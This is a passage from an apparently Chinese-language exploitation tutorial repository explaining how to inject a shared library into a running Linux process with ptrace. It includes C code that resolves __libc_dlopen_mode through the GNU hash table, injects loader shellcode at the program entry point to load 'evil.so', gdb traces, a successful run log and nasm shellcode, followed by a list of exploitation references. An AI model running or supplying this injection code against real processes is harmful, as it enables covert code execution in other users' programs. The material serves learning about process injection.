dl_new_hash(symname); 362 | 363 | /* new-hash % __ELF_NATIVE_CLASS */ 364 | hb1 = new_hash & (__ELF_NATIVE_CLASS - 1); 365 | hb2 = (new_hash >> map_more->shift2) & (__ELF_NATIVE_CLASS - 1); 366 | 367 | printf("[*] start gnu hash search:\n\tnew_hash: 0x%x(%u)\n", symname, new_hash, new_hash); 368 | 369 | /* ELFCLASS size */ 370 | //__ELF_NATIVE_CLASS 371 | 372 | /* nmaskwords must be power of 2, so that allows the modulo operation */ 373 | /* ((new_hash / __ELF_NATIVE_CLASS) % maskwords) */ 374 | n = (new_hash / __ELF_NATIVE_CLASS) & (map_more->nmaskwords - 1); 375 | printf("\tn: %lu\n", n); 376 | 377 | /* Use hash to quickly determine whether there is the symbol we need */ 378 | addr = map_more->bitmask_addr + n * sizeof(ElfW(Addr)); 379 | ptrace_read(pid, addr, &bitmask_word, sizeof(ElfW(Addr))); 380 | /* eglibc-2.19/elf/dl-loopup.c:236 */ 381 | /* https://blogs.oracle.com/ali/entry/gnu_hash_elf_sections */ 382 | /* different method same result */ 383 | if(((bitmask_word >> hb1) & (bitmask_word >> hb2) & 1) == 0) 384 | return NULL; 385 | 386 | /* The first index of `.dynsym` to the bucket .dynsym */ 387 | addr = map_more->hash_buckets_addr + (new_hash % map_more->nbuckets) * sizeof(Elf_Symndx); 388 | ptrace_read(pid, addr, &symndx, sizeof(Elf_Symndx)); 389 | printf("\thash buckets index: 0x%x(%u), first dynsym index: 0x%x(%u)\n", (new_hash % map_more->nbuckets), (new_hash % map_more->nbuckets), symndx, symndx); 390 | 391 | if(symndx == 0) 392 | return NULL; 393 | 394 | sym_addr = map_more->dynsym_addr + symndx * sizeof(ElfW(Sym)); 395 | hash_addr = map_more->hash_values_addr + (symndx - map_more->symndx) * sizeof(Elf32_Word); 396 | 397 | printf("[*] start bucket search:\n"); 398 | do 399 | { 400 | ptrace_read(pid, hash_addr, &h2, sizeof(Elf32_Word)); 401 | printf("\th2: 0x%x(%u)\n", h2, h2); 402 | /* 1. hash value same */ 403 | if(((h2 ^ new_hash) >> 1) == 0) { 404 | 405 | sym_addr = map_more->dynsym_addr + ((map_more->symndx + (hash_addr - map_more->hash_values_addr) / sizeof(Elf32_Word)) * sizeof(ElfW(Sym))); 406 | /* read ElfW(Sym) */ 407 | ptrace_read(pid, sym_addr, sym, sizeof(ElfW(Sym))); 408 | addr = map_more->dynstr_addr + sym->st_name; 409 | /* read string */ 410 | ptrace_read(pid, addr, symstr, sizeof(symstr)); 411 | 412 | /* 2. name same */ 413 | if(!strcmp(symname, symstr)) 414 | return sym; 415 | } 416 | hash_addr += sizeof(sizeof(Elf32_Word)); 417 | } while((h2 & 1u) == 0); // search in same bucket 418 | return NULL; 419 | } 420 | ``` 421 | 422 | 这里介绍下上面算法的流程 423 | 424 | 首先需要利用 `bitmask` 根据 `Bloom Filter(布隆过滤器)` 判断是否存在于符号表, 这里先放出 wiki 的参考链接 [Bloom Filter][1], 这里简单介绍下 `Bloom Filter`, 它可以在常量时间内判断 `hash_value` 是否存在于 `hash_values_buckets`, 但是它是有误差的, 也就是说如果 `Bloom Filter` 判断出不存在就是一定不在, 但是如果判断存在则可能存在, 仅仅是可能存在, 原因就是因为 `hash` 冲突的存在, 具体参考下 `Bloom Filter` 的原理. 425 | 426 | 接下来就是根据该符号的 `hash value`, 确定该符号在哪一个 `bucket`, 找到该 `bucket(桶)` 内第一个符号结构, 之后便开始在桶内进行符号查找. 427 | 428 | 接下来就是桶内查找, 需要满足两个条件, 1. `hash value` 相同 2. 字符串相同. 429 | 430 | 剩下的大家可以通过阅读来具体理解下, 大部分我都加了注释. 431 | 432 | ok, 到这一步, 就可以拿到 `__libc_dlopen_mode` 的地址了, 然后下一步的问题就是: 433 | 434 | #### 问题5: 如何调用 `__libc_dlopen_mode`? 435 | 436 | 大概有两种思路, 单纯依靠寄存器 `eip` 修改执行位置, 其他寄存器传参数, 这个方法在之前 `_dl_open` 是被定义为 `internal_function`, 也就是通过寄存器传参, 但是对于 `__libc_dlopen_mode` 已经不是寄存器传递参数. 另一个就是注入一段代码, 执行这段代码, 通过正常的函数调用方法调用 `__libc_dlopen_mode`, 执行完毕后恢复这段内存原始代码, 这里主要分析下第二种方法. 437 | 438 | 既然采用注入代码方法, 那么问题就来了, 代码应该注入到哪里? 可能首先想到的就是注入到当前 `%eip` 的位置, 因为毕竟运行后会恢复为原始内存, 但是有一个问题就是, 假如被覆盖的这块内存在执行的过程中需要被二次使用怎么办, 此时内存代码已经不是原来的代码, 并且还有没有被恢复? 这就是上面说的这种注入方法存在局限性. 439 | 440 | 这里先给大家放一段目前普遍采用的注入方式, 也就是注入到当前 `%eip` 的位置, 并为大家复现这个情况. 441 | 442 | 这里采用手动注入一段代码的方式, 用 `gdb attach` 该进程. 443 | 444 | ``` 445 | #include 446 | int main() 447 | { 448 | char *evilso = "/vagrant/inject/evil.so"; 449 | while(1) 450 | { 451 | printf("Going to sleep...\n"); 452 | sleep(3); 453 | printf("Wake up\n"); 454 | } 455 | return 0; 456 | } 457 | ``` 458 | 459 | 下面就是相关的分析过程, 460 | 461 | ``` 462 | # 当前gdb挂载点 463 | gdb-peda$ disassemble 464 | Dump of assembler code for function __kernel_vsyscall: 465 | 0xb7700418 <+0>: push ecx 466 | 0xb7700419 <+1>: push edx 467 | 0xb770041a <+2>: push ebp 468 | 0xb770041b <+3>: mov ebp,esp 469 | 0xb770041d <+5>: sysenter 470 | 0xb770041f <+7>: nop 471 | 0xb7700420 <+8>: nop 472 | 0xb7700421 <+9>: nop 473 | 0xb7700422 <+10>: nop 474 | 0xb7700423 <+11>: nop 475 | 0xb7700424 <+12>: nop 476 | 0xb7700425 <+13>: nop 477 | 0xb7700426 <+14>: int 0x80 478 | => 0xb7700428 <+16>: pop ebp 479 | 0xb7700429 <+17>: pop edx 480 | 0xb770042a <+18>: pop ecx 481 | 0xb770042b <+19>: ret 482 | End of assembler dump. 483 | 484 | gdb-peda$ disassemble main 485 | Dump of assembler code for function main: 486 | 0x0804844d <+0>: push ebp 487 | 0x0804844e <+1>: mov ebp,esp 488 | 0x08048450 <+3>: and esp,0xfffffff0 489 | 0x08048453 <+6>: sub esp,0x20 490 | 0x08048456 <+9>: mov DWORD PTR [esp+0x1c],0x8048520 491 | 0x0804845e <+17>: mov DWORD PTR [esp],0x8048538 492 | 0x08048465 <+24>: call 0x8048320 493 | 0x0804846a <+29>: mov DWORD PTR [esp],0x3 494 | 0x08048471 <+36>: call 0x8048310 495 | 0x08048476 <+41>: mov DWORD PTR [esp],0x804854a 496 | 0x0804847d <+48>: call 0x8048320 497 | 0x08048482 <+53>: jmp 0x804845e 498 | End of assembler dump. 499 | 500 | #找到需要加载的so的路径参数 501 | gdb-peda$ x/s 0x8048520 502 | 0x8048520: "/vagrant/inject/evil.so" 503 | 504 | #找到__libc_dlopen_mode函数符号的地址 505 | gdb-peda$ x/i __libc_dlopen_mode 506 | 0xb7675ae0 <__libc_dlopen_mode>: push esi 507 | 508 | #手动代码注入后是下面的peda显示, 注意 `ebx`, 当前 `eip` 的内容, 栈的内容的变化. 509 | [----------------------------------registers-----------------------------------] 510 | EAX: 0xfffffdfc 511 | EBX: 0xb7675ae0 (<__libc_dlopen_mode>: push esi) 512 | ECX: 0xbf81f9bc --> 0x2 513 | EDX: 0xb76fd000 --> 0x1aada8 514 | ESI: 0x0 515 | EDI: 0xbf81fa44 --> 0x0 516 | EBP: 0xbf81f9c4 --> 0x10000 517 | ESP: 0xbf81f97c --> 0x8048520 ("/vagrant/inject/evil.so") 518 | EIP: 0xb770b428 (<__kernel_vsyscall+16>: call ebx) 519 | EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) 520 | [-------------------------------------code-------------------------------------] 521 | 0xb770b424 <__kernel_vsyscall+12>: nop 522 | 0xb770b425 <__kernel_vsyscall+13>: nop 523 | 0xb770b426 <__kernel_vsyscall+14>: int 0x80 524 | => 0xb770b428 <__kernel_vsyscall+16>: call ebx 525 | 0xb770b42a <__kernel_vsyscall+18>: add BYTE PTR [eax],al 526 | 0xb770b42c: add BYTE PTR [esi],ch 527 | 0xb770b42e: jae 0xb770b498 528 | 0xb770b430: jae 0xb770b4a6 529 | Guessed arguments: 530 | arg[0]: 0x8048520 ("/vagrant/inject/evil.so") 531 | arg[1]: 0x1 532 | [------------------------------------stack-------------------------------------] 533 | 0000| 0xbf81f97c --> 0x8048520 ("/vagrant/inject/evil.so") 534 | 0004| 0xbf81f980 --> 0x1 535 | 0008| 0xbf81f984 --> 0xbf81f9bc --> 0x2 536 | 0012| 0xbf81f988 --> 0xb7607b70 (: mov ebx,edx) 537 | 0016| 0xbf81f98c --> 0xb760793d (: test eax,eax) 538 | 0020| 0xbf81f990 --> 0xbf81f9bc --> 0x2 539 | 0024| 0xbf81f994 --> 0xbf81f9bc --> 0x2 540 | 0028| 0xbf81f998 --> 0x0 541 | [------------------------------------------------------------------------------] 542 | 543 | #这里我们再加一个watchpoint, 需要监视哪个函数再一次调用了 __kernel_vsyscall, 这段技巧在上面也提到过. 544 | watch ($eip > 0xb7700418) && ($eip < 0xb770042b) 545 | 546 | #继续执行 等待触发watchpoint, 查看调用栈, 发现 547 | gdb-peda$ bt 548 | #0 0xb7735418 in __kernel_vsyscall () 549 | #1 0xb765efde in brk () from /lib/i386-linux-gnu/libc.so.6 550 | #2 0xb765f084 in sbrk () from /lib/i386-linux-gnu/libc.so.6 551 | #3 0xb75f4ccf in __default_morecore () from /lib/i386-linux-gnu/libc.so.6 552 | #4 0xb75f1352 in ?? () from /lib/i386-linux-gnu/libc.so.6 553 | #5 0xb75f2888 in malloc () from /lib/i386-linux-gnu/libc.so.6 554 | #6 0xb75f295f in malloc () from /lib/i386-linux-gnu/libc.so.6 555 | #7 0xb773b026 in local_strdup (s=s@entry=0x8048520 "/vagrant/inject/evil.so") 556 | at dl-load.c:162 557 | #8 0xb773d4d0 in expand_dynamic_string_token (l=l@entry=0xb7757c28, 558 | s=s@entry=0x8048520 "/vagrant/inject/evil.so", is_path=is_path@entry=0x0) 559 | at dl-load.c:429 560 | #9 0xb773e0dc in _dl_map_object (loader=loader@entry=0xb7757c28, 561 | name=name@entry=0x8048520 "/vagrant/inject/evil.so", type=type@entry=0x2, 562 | trace_mode=trace_mode@entry=0x0, mode=mode@entry=0x10000001, nsid=0x0) 563 | at dl-load.c:2538 564 | #10 0xb7748c14 in dl_open_worker (a=0xbfc39228) at dl-open.c:235 565 | #11 0xb7744c06 in _dl_catch_error (objname=objname@entry=0xbfc39220, 566 | errstring=errstring@entry=0xbfc39224, mallocedp=mallocedp@entry=0xbfc3921f, 567 | operate=operate@entry=0xb7748b50 , args=args@entry=0xbfc39228) 568 | at dl-error.c:187 569 | #12 0xb7748644 in _dl_open (file=0x8048520 "/vagrant/inject/evil.so", mode=0x1, 570 | caller_dlopen=0xb773542a <__kernel_vsyscall+18>, nsid=, 571 | argc=0x1, argv=0xbfc396a4, env=0xbfc396ac) at dl-open.c:661 572 | #13 0xb769f9ab in ?? () from /lib/i386-linux-gnu/libc.so.6 573 | #14 0xb7744c06 in _dl_catch_error (objname=0xbfc39394, errstring=0xbfc39398, 574 | mallocedp=0xbfc39393, operate=0xb769f950, args=0xbfc393cc) at dl-error.c:187 575 | #15 0xb769fa9b in ?? () from /lib/i386-linux-gnu/libc.so.6 576 | #16 0xb769fb21 in __libc_dlopen_mode () from /lib/i386-linux-gnu/libc.so.6 577 | #17 0xb773542a in __kernel_vsyscall () 578 | #18 0xbfc3942c in ?? () 579 | #19 0x00000000 in ?? () 580 | 581 | # 继续执行失败 582 | ``` 583 | 584 | ok, 这也就不难发现, 为什么说现在的绝大部分注入都是有限制的, 当我们在系统中断函数进行代码注入, 导致在 `__libc_dlopen_mode` 执行过程中需要调用 `malloc` (`eglibc-2.19/elf/dl-lookup.c` 中 `local_strdup`)进行堆空间分配, 但由于此时没有cache, 因而需要触发系统调用使用 `brk` 分配一块堆内存, 这一块具体查看linux内存分配相关的文章, `<程序员的自我修养>` 简单提到过一些关于 `malloc` 堆内存分配. 585 | 586 | ok, 现在问题复现了, 需要采用其他方法进行注入, 这里采用的是将代码注入到程序入口点位置, 然后修改 `%eip` 为程序入口点位置, 这样就不会存在影响, 或者查找一块连续的 `nop` 内存块进行注入. 这里直接注入到程序入口点位置. 587 | 588 | ``` 589 | 590 | void 591 | inject_code(int pid, char *evilso, ElfW(Addr) dlopen_addr) { 592 | struct user_regs_struct regz, regzbak; 593 | unsigned long len; 594 | unsigned char *backup = NULL; 595 | unsigned char *loader = NULL; 596 | ElfW(Addr) entry_addr; 597 | 598 | setaddr(soloader + 12, dlopen_addr); 599 | 600 | entry_addr = locate_start(pid); 601 | printf("[+] entry point: 0x%x\n", entry_addr); 602 | 603 | len = sizeof(soloader) + strlen(evilso); 604 | loader = malloc(sizeof(char) * len); 605 | memcpy(loader, soloader, sizeof(soloader)); 606 | memcpy(loader+sizeof(soloader) - 1 , evilso, strlen(evilso)); 607 | 608 | backup = malloc(len + sizeof(ElfW(Word))); 609 | ptrace_read(pid, entry_addr, backup, len); 610 | 611 | if(ptrace(PTRACE_GETREGS , pid , NULL , ®z) < 0) exit(-1); 612 | if(ptrace(PTRACE_GETREGS , pid , NULL , ®zbak) < 0) exit(-1); 613 | printf("[+] stopped %d at eip:%p, esp:%p\n", pid, regz.eip, regz.esp); 614 | 615 | /* `eip` points to the next instruction, so current instruction is `entry_addr` */ 616 | regz.eip = entry_addr + 2; 617 | 618 | /* code inject */ 619 | ptrace_write(pid, entry_addr, loader, len); 620 | 621 | /* set eip as entry_point */ 622 | ptrace(PTRACE_SETREGS , pid , NULL , ®z); 623 | ptrace_cont(pid); 624 | 625 | if(ptrace(PTRACE_GETREGS , pid , NULL , ®z) < 0) exit(-1); 626 | printf("[+] inject code done %d at eip:%p\n", pid, regz.eip); 627 | 628 | /* restore backup data */ 629 | // ptrace_write(pid,entry_addr, backup, len); 630 | ptrace(PTRACE_SETREGS , pid , NULL , ®zbak); 631 | } 632 | ``` 633 | 634 | 至此所有问题得到解答, `so` 注入完成, 程序已经上传到 `github`. 635 | 636 | ``` 637 | ➜ inject gcc -w -o inject /vagrant/inject/inject.c /vagrant/inject/utils.c && sudo ./inject 24506 /vagrant/inject/evil.so 638 | attached to pid 24506 639 | [*] start search '__libc_dlopen_mode': 640 | ---------------------------------------------------------------- 641 | [+] libaray path: /lib/i386-linux-gnu/libc.so.6 642 | [+] gnu.hash: 643 | nbuckets: 0x3f3 644 | symndx: 0xa 645 | nmaskwords: 0x200 646 | shift2: 0xe 647 | bitmask_addr: 0xb75281c8 648 | hash_buckets_addr: 0xb75289c8 649 | bitmask_addr: 0xb75281c8 [0/1762] 650 | hash_buckets_addr: 0xb75289c8 651 | hash_values_addr: 0xb7529994 652 | [+] dynstr: 0xb7535474 653 | [+] dynysm: 0xb752bed4 654 | [+] soname: libc.so.6 655 | [*] start gnu hash search: 656 | new_hash: 0x8049891(4073429154) 657 | n: 197 658 | hash buckets index: 0x3c6(966), first dynsym index: 0x8f5(2293) 659 | [*] start bucket search: 660 | h2: 0xd5e07632(3588257330) 661 | h2: 0xf2cb98a2(4073429154) 662 | ---------------------------------------------------------------- 663 | [+] Found '__libc_dlopen_mode' at 0xb764bae0 664 | [+] entry point: 0x8048350 665 | [+] stopped 24506 at eip:0xb76e1428, esp:0xbfec2fec 666 | [+] inject code done 24506 at eip:0x8048366 667 | [*] start search 'evilfunc': 668 | ---------------------------------------------------------------- 669 | [+] libaray path: /vagrant/inject/evil.so 670 | [+] gnu.hash: 671 | nbuckets: 0x3 672 | symndx: 0x7 673 | nmaskwords: 0x2 674 | shift2: 0x6 675 | bitmask_addr: 0xb76db148 676 | hash_buckets_addr: 0xb76db150 677 | hash_values_addr: 0xb76db15c 678 | [+] dynstr: 0xb76db244 679 | [+] dynysm: 0xb76db174 680 | [*] start gnu hash search: 681 | new_hash: 0x80498ec(701380385) 682 | n: 1 683 | hash buckets index: 0x2(2), first dynsym index: 0xb(11) 684 | [*] start bucket search: 685 | h2: 0x29ce3720(701380384) 686 | ---------------------------------------------------------------- 687 | [+] Found 'evilfunc' at 0xb76db53b 688 | [*] lib injection done! 689 | 690 | #查看pid对应maps可以查看到已经加载了恶意的so 691 | ➜ inject cat /proc/24506/maps 692 | 08048000-08049000 r-xp 00000000 08:01 266876 /home/vagrant/pwn/elf/hello 693 | 08049000-0804a000 r--p 00000000 08:01 266876 /home/vagrant/pwn/elf/hello 694 | 0804a000-0804b000 rw-p 00001000 08:01 266876 /home/vagrant/pwn/elf/hello 695 | 084a2000-084c3000 rw-p 00000000 00:00 0 [heap] 696 | b7527000-b7528000 rw-p 00000000 00:00 0 697 | b7528000-b76d0000 r-xp 00000000 08:01 2134 /lib/i386-linux-gnu/libc-2.19.so 698 | b76d0000-b76d1000 ---p 001a8000 08:01 2134 /lib/i386-linux-gnu/libc-2.19.so 699 | b76d1000-b76d3000 r--p 001a8000 08:01 2134 /lib/i386-linux-gnu/libc-2.19.so 700 | b76d3000-b76d4000 rw-p 001aa000 08:01 2134 /lib/i386-linux-gnu/libc-2.19.so 701 | b76d4000-b76d7000 rw-p 00000000 00:00 0 702 | b76db000-b76dc000 r-xp 00000000 00:1a 1974 /vagrant/inject/evil.so 703 | b76dc000-b76dd000 r--p 00000000 00:1a 1974 /vagrant/inject/evil.so 704 | b76dd000-b76de000 rw-p 00001000 00:1a 1974 /vagrant/inject/evil.so 705 | b76de000-b76e1000 rw-p 00000000 00:00 0 706 | b76e1000-b76e2000 r-xp 00000000 00:00 0 [vdso] 707 | b76e2000-b7702000 r-xp 00000000 08:01 2153 /lib/i386-linux-gnu/ld-2.19.so 708 | b7702000-b7703000 r--p 0001f000 08:01 2153 /lib/i386-linux-gnu/ld-2.19.so 709 | b7703000-b7704000 rw-p 00020000 08:01 2153 /lib/i386-linux-gnu/ld-2.19.so 710 | bfea3000-bfec4000 rw-p 00000000 00:00 0 [stack] 711 | ➜ inject 712 | ``` 713 | 714 | ## 附录 715 | 716 | #### 如何生成汇编对应16进制? 717 | 这里使用 `nasm` 工具. 718 | 719 | 先写好汇编代码 720 | 721 | ``` 722 | ➜ cat __libc_dlopen_mode.asm 723 | _start: jmp string 724 | begin: pop eax ; char *file 725 | mov edx, 0x1 ; int mode 726 | push edx ; 727 | push eax ; 728 | mov ebx, 0x12345678 ; addr of __libc_dlopen_mode() 729 | call ebx ; call __libc_dlopen_mode() 730 | add esp, 0x8 ; resotre stack 731 | int3 ; breakpoint 732 | 733 | string: call begin 734 | db "/tmp/ourlibby.so",0x00 735 | ``` 736 | 737 | 之后使用 `nasm -f elf32 -o __libc_dlopen_mode.o __libc_dlopen_mode.asm` 即可生成目标文件, 之后使用 `objdump -d __libc_dlopen_mode.o` 即可查看汇编对应的16进制 738 | 739 | ``` 740 | ➜ objdump -d __libc_dlopen_mode.o 741 | 742 | __libc_dlopen_mode.o: file format elf32-i386 743 | 744 | 745 | Disassembly of section .text: 746 | 747 | 00000000 <_start>: 748 | 0: eb 13 jmp 15 749 | 750 | 00000002 : 751 | 2: 58 pop %eax 752 | 3: ba 01 00 00 00 mov $0x1,%edx 753 | 8: 52 push %edx 754 | 9: 50 push %eax 755 | a: bb 78 56 34 12 mov $0x12345678,%ebx 756 | f: ff d3 call *%ebx 757 | 11: 83 c4 08 add $0x8,%esp 758 | 14: cc int3 759 | 760 | 00000015 : 761 | 15: e8 e8 ff ff ff call 2 762 | 1a: 2f das 763 | 1b: 74 6d je 8a 764 | 1d: 70 2f jo 4e 765 | 1f: 6f outsl %ds:(%esi),(%dx) 766 | 20: 75 72 jne 94 767 | 22: 6c insb (%dx),%es:(%edi) 768 | 23: 69 62 62 79 2e 73 6f imul $0x6f732e79,0x62(%edx),%esp 769 | ``` 770 | 771 | [1]: https://zh.wikipedia.org/wiki/%E5%B8%83%E9%9A%86%E8%BF%87%E6%BB%A4%E5%99%A8 -------------------------------------------------------------------------------- /refs/2002.gera_.About_Exploits_Writing.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jmpews/pwn2exploit/5cdbccf6cd25a8b287a9c86df1fad5e5b90707d8/refs/2002.gera_.About_Exploits_Writing.pdf -------------------------------------------------------------------------------- /refs/2015-1029-yangkun-Gold-Mining-CTF.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jmpews/pwn2exploit/5cdbccf6cd25a8b287a9c86df1fad5e5b90707d8/refs/2015-1029-yangkun-Gold-Mining-CTF.pdf -------------------------------------------------------------------------------- /refs/Linux_Interactive_Exploit_Development_with_GDB_and_PEDA_Slides.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jmpews/pwn2exploit/5cdbccf6cd25a8b287a9c86df1fad5e5b90707d8/refs/Linux_Interactive_Exploit_Development_with_GDB_and_PEDA_Slides.pdf -------------------------------------------------------------------------------- /refs/ROP_course_lecture_jonathan_salwan_2014.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jmpews/pwn2exploit/5cdbccf6cd25a8b287a9c86df1fad5e5b90707d8/refs/ROP_course_lecture_jonathan_salwan_2014.pdf -------------------------------------------------------------------------------- /refs/elf/001_1 程序的链接和装入及Linux下动态链接的实现(修订版).doc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jmpews/pwn2exploit/5cdbccf6cd25a8b287a9c86df1fad5e5b90707d8/refs/elf/001_1 程序的链接和装入及Linux下动态链接的实现(修订版).doc -------------------------------------------------------------------------------- /refs/elf/001_2 Linux 动态链接机制研究及应用.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jmpews/pwn2exploit/5cdbccf6cd25a8b287a9c86df1fad5e5b90707d8/refs/elf/001_2 Linux 动态链接机制研究及应用.pdf -------------------------------------------------------------------------------- /refs/elf/ELF-berlinsides-0x3.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jmpews/pwn2exploit/5cdbccf6cd25a8b287a9c86df1fad5e5b90707d8/refs/elf/ELF-berlinsides-0x3.pdf -------------------------------------------------------------------------------- /refs/elf/Understanding_ELF.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jmpews/pwn2exploit/5cdbccf6cd25a8b287a9c86df1fad5e5b90707d8/refs/elf/Understanding_ELF.pdf -------------------------------------------------------------------------------- /refs/elf/bh-us-02-clowes-binaries.ppt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jmpews/pwn2exploit/5cdbccf6cd25a8b287a9c86df1fad5e5b90707d8/refs/elf/bh-us-02-clowes-binaries.ppt -------------------------------------------------------------------------------- /refs/elf/elf.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jmpews/pwn2exploit/5cdbccf6cd25a8b287a9c86df1fad5e5b90707d8/refs/elf/elf.pdf -------------------------------------------------------------------------------- /refs/elf/《链接器和加载器》中译本.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jmpews/pwn2exploit/5cdbccf6cd25a8b287a9c86df1fad5e5b90707d8/refs/elf/《链接器和加载器》中译本.pdf -------------------------------------------------------------------------------- /refs/elf/漫谈兼容内核之八 ELF 映像的装入 ( 一 ).doc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jmpews/pwn2exploit/5cdbccf6cd25a8b287a9c86df1fad5e5b90707d8/refs/elf/漫谈兼容内核之八 ELF 映像的装入 ( 一 ).doc -------------------------------------------------------------------------------- /refs/formatstring-1.2.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jmpews/pwn2exploit/5cdbccf6cd25a8b287a9c86df1fad5e5b90707d8/refs/formatstring-1.2.pdf -------------------------------------------------------------------------------- /refs/gcc.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jmpews/pwn2exploit/5cdbccf6cd25a8b287a9c86df1fad5e5b90707d8/refs/gcc.pdf -------------------------------------------------------------------------------- /refs/heap/Bugtraq_The Malloc Maleficarum.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jmpews/pwn2exploit/5cdbccf6cd25a8b287a9c86df1fad5e5b90707d8/refs/heap/Bugtraq_The Malloc Maleficarum.pdf -------------------------------------------------------------------------------- /refs/heap/Glibc_Adventures-The_Forgotten_Chunks.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jmpews/pwn2exploit/5cdbccf6cd25a8b287a9c86df1fad5e5b90707d8/refs/heap/Glibc_Adventures-The_Forgotten_Chunks.pdf -------------------------------------------------------------------------------- /refs/heap/Heap overflow using Malloc Maleficarum _ sploitF-U-N.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jmpews/pwn2exploit/5cdbccf6cd25a8b287a9c86df1fad5e5b90707d8/refs/heap/Heap overflow using Malloc Maleficarum _ sploitF-U-N.pdf -------------------------------------------------------------------------------- /refs/heap/Project Zero_ The poisoned NUL byte, 2014 edition.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jmpews/pwn2exploit/5cdbccf6cd25a8b287a9c86df1fad5e5b90707d8/refs/heap/Project Zero_ The poisoned NUL byte, 2014 edition.pdf -------------------------------------------------------------------------------- /refs/heap/[Phrack]Advanced Doug lea's malloc exploits.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jmpews/pwn2exploit/5cdbccf6cd25a8b287a9c86df1fad5e5b90707d8/refs/heap/[Phrack]Advanced Doug lea's malloc exploits.pdf -------------------------------------------------------------------------------- /refs/heap/[Phrack]Vudo malloc tricks.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jmpews/pwn2exploit/5cdbccf6cd25a8b287a9c86df1fad5e5b90707d8/refs/heap/[Phrack]Vudo malloc tricks.pdf -------------------------------------------------------------------------------- /refs/heap/bh-usa-07-ferguson-WP.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jmpews/pwn2exploit/5cdbccf6cd25a8b287a9c86df1fad5e5b90707d8/refs/heap/bh-usa-07-ferguson-WP.pdf -------------------------------------------------------------------------------- /refs/heap/glibc内存管理ptmalloc源代码分析.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jmpews/pwn2exploit/5cdbccf6cd25a8b287a9c86df1fad5e5b90707d8/refs/heap/glibc内存管理ptmalloc源代码分析.pdf -------------------------------------------------------------------------------- /refs/heap/heap-hacking-by-0xbadc0de.be.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jmpews/pwn2exploit/5cdbccf6cd25a8b287a9c86df1fad5e5b90707d8/refs/heap/heap-hacking-by-0xbadc0de.be.pdf -------------------------------------------------------------------------------- /refs/heap/x86 Exploitation 101_ this is the first witchy house – gb_master's _dev_null.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jmpews/pwn2exploit/5cdbccf6cd25a8b287a9c86df1fad5e5b90707d8/refs/heap/x86 Exploitation 101_ this is the first witchy house – gb_master's _dev_null.pdf -------------------------------------------------------------------------------- /refs/ltrace_internals.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jmpews/pwn2exploit/5cdbccf6cd25a8b287a9c86df1fad5e5b90707d8/refs/ltrace_internals.pdf -------------------------------------------------------------------------------- /refs/pwntools.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jmpews/pwn2exploit/5cdbccf6cd25a8b287a9c86df1fad5e5b90707d8/refs/pwntools.pdf --------------------------------------------------------------------------------